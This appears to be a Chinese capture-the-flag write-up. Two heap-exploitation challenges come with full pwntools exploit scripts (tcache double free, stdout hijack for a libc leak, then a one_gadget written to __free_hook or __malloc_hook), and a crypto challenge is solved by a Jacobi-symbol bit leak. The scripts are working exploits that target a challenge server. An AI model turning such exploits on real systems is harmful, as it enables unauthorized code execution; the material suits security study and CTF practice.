利用double free把fake chunk申请到已有chunk下方,覆盖下一个chunk的size,然后edit上一个chunk改fake chunk的size,搞出两个size为0x90的块,一个填tcachebins,满了之后free另一个,进入unsorted bin
劫持stdout泄露libc(需要爆破一字节)
然后改free_hook
from pwn import *
#r = process('./warmup')
elf = ELF('./warmup')
libc = ELF('./libc-2.27.so')
#context.log_level = 'debug'
while True:
try:
r = remote('47.52.90.3',9999)
def add(content):
r.sendlineafter('>>','1')
r.sendafter('content>>',content)
def delete(index):
r.sendlineafter('>>','2')
r.sendafter('index:',str(index))
def modify(index,content):
r.sendlineafter('>>','3')
r.sendafter('index:',str(index))
r.sendafter('content>>',content)
add('\x11'*0x40)
add('\x22'*0x40)
add('\x33'*0x40)
add('\x44'*0x40)
delete(0)
delete(0)
delete(0)
delete(0)
add('\x80')
add('\x80')
add(p64(0)*7+'\x91')
modify(0,p64(0)+p64(0x91))
delete(1)
delete(1)
delete(1)
delete(1)
delete(1)
delete(5)
delete(1)
delete(5)
log.info('fuck')
modify(0,p64(0)+p64(0x51)+p8(0x60)+'\x37')
delete(0)
delete(0)
delete(0)
delete(0)
add(p8(0x80))
add(p8(0x80))
add(p8(0x80))
add(p64(0xfbad1800) + p64(0)*3 + "\x00")#stdout
modify(6,p64(0xfbad1800) + p64(0)*3 + "\x00")
r.interactive()
fuck = r.recv(30)
log.info(fuck)
libc_addr = u64(fuck[8:16])
log.success(hex(libc_addr))
malloc_hook = 0x7ffff7dcfc30-0x7ffff7dd18b0+libc_addr
print hex(malloc_hook)
libc_base = malloc_hook-libc.symbols['__malloc_hook']
one = libc_base+0x4f322
free_hook = libc_base+libc.symbols['__free_hook']
print hex(one)
print hex(free_hook)
delete(0)
delete(0)
add(p64(free_hook))
add(p64(free_hook))
add(p64(one))
delete(2)
r.sendline('cat flag')
log.info(r.recv())
r.interactive()
except:
continue
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
只有add和throw,有double free
堆指针在0x602060
struct content {
char *content;
char name[];
} ;
struct people {
char *content;
char name[];
} ;
先利用double free在堆指针附近申请堆块,把0x602060和0x602058写进去
然后申请堆块,搞一个一个大小为0xc0的堆块,free后可以得到main_arena+88
add('a',0x60,'a')
add('a',0x60,'a')
remove(0)
remove(1)
remove(0)
add('a',0x60,p64(0x60203d))
add('a',0x60,'a')
add('a',0x60,'a')
add('a',0x60,'a'*3+p64(0)+p64(0x51)+p64(0)+p64(0x602060)+p64(0x602058)+p64(0)*6+p64(0x21))
remove(2)
add('a',0x60,'a')
add('a',0xc0,'a')
add('a',0x60,'a')
add('a',0x60,'a')
remove(3)
pwndbg> x/64gx 0x602060
0x602060: 0x0000000000603210 0x0000000000602060
0x602070: 0x0000000000602058 0x00000000006032b0
0x602080: 0x00000000006033b0 0x0000000000603450
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg> x/64gx 0x6032b0
0x6032b0: 0x0000000000000061 0x0000000000000000
0x6032c0: 0x00000000006032e0 0x00000000000000c0
0x6032d0: 0x0000000000000000 0x00000000000000d1
0x6032e0: 0x00007fffff3f4b78 0x00007fffff3f4b78
0x6032f0: 0x0000000000000000 0x0000000000000000
再申请一个content size为0x60的chunk,刚好填上unsorted bin,可以修改fd,爆破一位,改为stdout附近
val = 0x55dd
add('a',0x60,p16(val))
pwndbg> x/64gx 0x6032b0
0x6032b0: 0x0000000000000061 0x0000000000000000
0x6032c0: 0x00000000006032e0 0x00000000000000c0
0x6032d0: 0x0000000000000000 0x0000000000000031
0x6032e0: 0x00007fffff3f4c61 0x00007fffff3f4c38
0x6032f0: 0x0000000000603310 0x0000000000000060
0x603300: 0x0000000000000000 0x0000000000000071
0x603310: 0x00007fffff3f55dd 0x00007fffff3f4b78
pwndbg> x/64gx 0x00007fffff3f55dd
0x7fffff3f55dd <_IO_2_1_stderr_+157>: 0xffff3f4660000000 0x000000000000007f
0x7fffff3f55ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7fffff3f55fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7fffff3f560d <_IO_2_1_stderr_+205>: 0x0000000000000000 0xffff3f36e0000000
0x7fffff3f561d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0xffff3f56a3000000
0x7fffff3f562d <_IO_2_1_stdout_+13>: 0xffff3f56a300007f 0xffff3f56a300007f
0x7fffff3f563d <_IO_2_1_stdout_+29>: 0xffff3f56a300007f 0xffff3f56a300007f
0x7fffff3f564d <_IO_2_1_stdout_+45>: 0xffff3f56a300007f 0xffff3f56a300007f
0x7fffff3f565d <_IO_2_1_stdout_+61>: 0xffff3f56a400007f 0x000000000000007f
0x7fffff3f566d <_IO_2_1_stdout_+77>: 0x0000000000000000 0x0000000000000000
0x7fffff3f567d <_IO_2_1_stdout_+93>: 0x0000000000000000 0xffff3f48e0000000
0x7fffff3f568d <_IO_2_1_stdout_+109>: 0x000000000100007f 0xffffffffff000000
0x7fffff3f569d <_IO_2_1_stdout_+125>: 0x000a000000ffffff 0xffff3f6780000000
0x7fffff3f56ad <_IO_2_1_stdout_+141>: 0xffffffffff00007f 0x0000000000ffffff
0x7fffff3f56bd <_IO_2_1_stdout_+157>: 0xffff3f47a0000000 0x000000000000007f
0x7fffff3f56cd <_IO_2_1_stdout_+173>: 0x0000000000000000 0x0000000000000000
0x7fffff3f56dd <_IO_2_1_stdout_+189>: 0x00ffffffff000000 0x0000000000000000
0x7fffff3f56ed <_IO_2_1_stdout_+205>: 0x0000000000000000 0xffff3f36e0000000
0x7fffff3f56fd <_IO_2_1_stdout_+221>: 0xffff3f554000007f 0xffff3f562000007f
0x7fffff3f570d <stdout+5>: 0xffff3f48e000007f 0xffff050b7000007f
然后先double free放入链表,再清一波堆指针
remove(5)
remove(4)
remove(5)
add('a',0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
pwndbg> x/64gx 0x0000000000602060
0x602060: 0x0000000000000000 0x0000000000602060
0x602070: 0x0000000000602058 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x603210 —▸ 0x603240 ◂— 0x0
0x60: 0x0
0x70: 0x603470 —▸ 0x6033d0 ◂— 0x603470 /* 'p4`' */
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
把之前修改的unsorted bin的fd放入fast bin链表,在stdout结构体附近申请chunk,劫持stdout,泄露libc
pwndbg> x/64gx 0x603470
0x603470: 0x0000000000000000 0x0000000000000071
0x603480: 0x00000000006033d0 0x0000000000000000
0x603490: 0x0000000000000000 0x0000000000000000
0x6034a0: 0x0000000000000000 0x0000000000000000
0x6034b0: 0x0000000000000000 0x0000000000000000
0x6034c0: 0x0000000000000000 0x0000000000000000
0x6034d0: 0x0000000000000000 0x0000000000000000
0x6034e0: 0x0000000000000000 0x0000000000020b21
把0x6033d0改成0x603300
pwndbg> x/64gx 0x0000000000603300
0x603300: 0x0000000000000000 0x0000000000000071
0x603310: 0x00007fffff3f55dd 0x00007fffff3f4b78
0x603320: 0x0000000000000000 0x0000000000000000
remove(2)
add('a',0x60,'\x00')
add('a',0x60,'a')
add('a',0x60,'a')
add('a',0x60,'a')
add('a',0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
remove(2)
add('a',0x60,'\x00'*0x33+p64(0xfbad1800)+'\x00'*0x19)
r.recvuntil(':')
data = r.recvuntil('=')
libc = u64(data[8*8:9*8])-0x3c5600
print hex(libc)
然后把one_gadget写到__malloc_hook
add('a',0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
remove(2)
add('a',0x60,'a')
add('a',0x60,'a')
remove(3)
remove(4)
remove(3)
add('a',0x60,p64(libc+0x3c4aed))
add('a',0x48,p64(0)+p64(0x602060)+p64(0x602058)+p64(0)+p64(0)*5)
remove(2)
add('a',0x60,'a')
add('a',0x60,'a')
add('a',0x60,'a'*0x13+p64(libc+0xf02a4))
remove(0)
remove(0)
r.interactive()
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from Crypto.Util import number
import random
from secret import flag
N = 23981306327188221819291352455300124608114670714977979223022816906368788909398653961976023086718129607035805397846230124785550919468973090809881210560931396002918119995710297723411794214888622784232065592366390586879306041418300835178522354945438521139847806375923379136235993890801176301812907708937658277646761892297209069757559519399120988948212988924583632878840216559421398253025960456164998680766732013248599742397199862820924441357624187811402515396393385081892966284318521068948266144251848088067639941653475035145362236917008153460707675427945577597137822575880268720238301307972813226576071488632898694390629
e = 0x10001
m = number.bytes_to_long(flag)
with open('flag.enc', 'w') as f:
while m:
padding = random.randint(0, 2**1000) ** 2
message = padding << 1 + m % 2
cipher = pow(message, e, N)
f.write(hex(cipher)+'\n')
m /= 2
整数a对m的雅可比符号表示为$(\frac{a}{m})$ ,设m是大于1的奇数,且m的素因数分解式为$m = p_1p_2…p_r$,若gcd(a,m)=1,则雅可比符号$(\frac{a}{m})=(\frac{a}{p_1})(\frac{a}{p_2})…(\frac{a}{p_r})$
当m是奇素数且$\frac{a}{m}=1$ 时,方程$x^2 ≡ a\ mod\ m$有解,当m不是奇素数时,不一定成立
设a = inv(2,N)
$b ≡ a^{e}\ mod\ n$
明文位为0
$c ≡ (2p^2)^e\ mod\ n$
即
$c ≡ 2^{e}(p^e)^2\ mod\ n$
$cb ≡ a^{e}2^{e}(p^e)^2\ mod\ n$
$cb ≡ (2a)^{e}(p^e)^2\ mod\ n$
$cb ≡ (p^e)^2\ mod\ n$
明文位为1
$c ≡ (4p^2)^e\ mod\ n$
若$(\frac{cb}{n})=1$ 则对应明文位为0
若$(\frac{cb}{n})=-1$ 则对应明文位为1
import gmpy2
N = 23981306327188221819291352455300124608114670714977979223022816906368788909398653961976023086718129607035805397846230124785550919468973090809881210560931396002918119995710297723411794214888622784232065592366390586879306041418300835178522354945438521139847806375923379136235993890801176301812907708937658277646761892297209069757559519399120988948212988924583632878840216559421398253025960456164998680766732013248599742397199862820924441357624187811402515396393385081892966284318521068948266144251848088067639941653475035145362236917008153460707675427945577597137822575880268720238301307972813226576071488632898694390629
e = 0x10001
with open('flag.enc', 'r') as f:
l = f.read().split("\n")
bits = ''
for c in l:
if len(c) > 2:
c = int(c[2:-1], 16)
if gmpy2.jacobi(c * pow(gmpy2.invert(2,N),e,N), N) == -1:
bits = '1' + bits
else:
bits = '0' + bits
print(bits)
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).